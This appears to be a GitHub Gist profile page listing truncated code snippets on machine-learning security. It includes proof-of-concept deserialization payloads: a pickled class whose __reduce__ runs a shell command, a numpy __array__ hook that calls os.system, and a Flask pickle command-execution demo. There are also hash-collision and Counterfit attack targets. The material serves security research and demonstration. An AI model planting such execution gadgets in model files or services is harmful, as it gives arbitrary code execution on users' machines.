Skip to content

Instantly share code, notes, and snippets.

View moohax's full-sized avatar
🏠
Working from home

moo_hax moohax

🏠
Working from home
View GitHub Profile
%%javascript
requirejs.config({
paths: {
'winnner': ['//cdn.jsdelivr.net/npm/canvas-confetti@1.5.1/dist/confetti.browser.min'],
},
});
confetti({
particleCount: 300,
startVelocity: 30,
# Requires fsspec. Sometimes installed, sometimes not.
# --
# Remote
# python -m http.server
#
# Serving HTTP on :: port 8000 (http://[::]:8000/)
import pandas as pd
@moohax
moohax / custom_array.py
Last active August 26, 2022 12:22
Custom numpy array
# https://numpy.org/doc/stable/reference/generated/numpy.array.html
class ArrayExec:
import os
if os.name == 'nt':
os.system("calc.exe")
else:
os.system("/bin/bash")
def __array__(self):
return 1
@moohax
moohax / collisionLSH.py
Created August 19, 2021 00:59 — forked from unrealwill/collisionLSH.py
Proof of Concept : generating collisions on a neural perceptual hash
import tensorflow as tf #We need tensorflow 2.x
import numpy as np
#The hashlength in bits
hashLength = 256
def buildModel():
#we can set the seed to simulate the fact that this network is known and doesn't change between runs
#tf.random.set_seed(42)
model = tf.keras.Sequential()
# Generated by counterfit #
import requests
import base64
from counterfit.core.targets import ArtTarget
class Twitter(ArtTarget):
model_name = "twitter"

Workshop Commands and Functions

Gettings Started

Requirements

  • An Internet Connection
  • Docker
  • VirusTotal Account (username and password)
  • The following headers, which can be gathered by examining the headers in Burp or DevTools.
    • X-Recaptcha-Response
# Generated by counterfit #
# code modified from https://github.com/monoxgas/FlyingAFalseFlag/blob/256197b78a8140d15df6e18b3221b637b5c3490a/Addendum/addendum.py
import os
import re
import json
import time
import requests
import numpy as np
import tqdm
@moohax
moohax / cereal_poc.py
Created October 19, 2020 03:31
Deserialization of custom class in pickle/numpy/PyTorch
# Create a class - normally this is a machine learning model saved to disk
class MLModel():
def __reduce__(self):
import os
execution = 'cmd.exe /c calc.exe'
return (os.popen, (execution,))
# Serialize it.
import pickle
payload = pickle.dumps(MLModel())
@moohax
moohax / cereal_web.py
Created October 19, 2020 03:28
Example of deserialization for command exec through pickle
import pickle
import base64
import requests
from flask import Flask, request
app = Flask(__name__)
## Start the server and go to 127.0.0.1:5000/exec ##
import keras
from keras import models
from keras import layers
from sklearn.preprocessing import StandardScaler, MinMaxScaler, LabelEncoder
import numpy as np
import keras.backend as K
# Main
np.random.seed(7)
network = models.Sequential()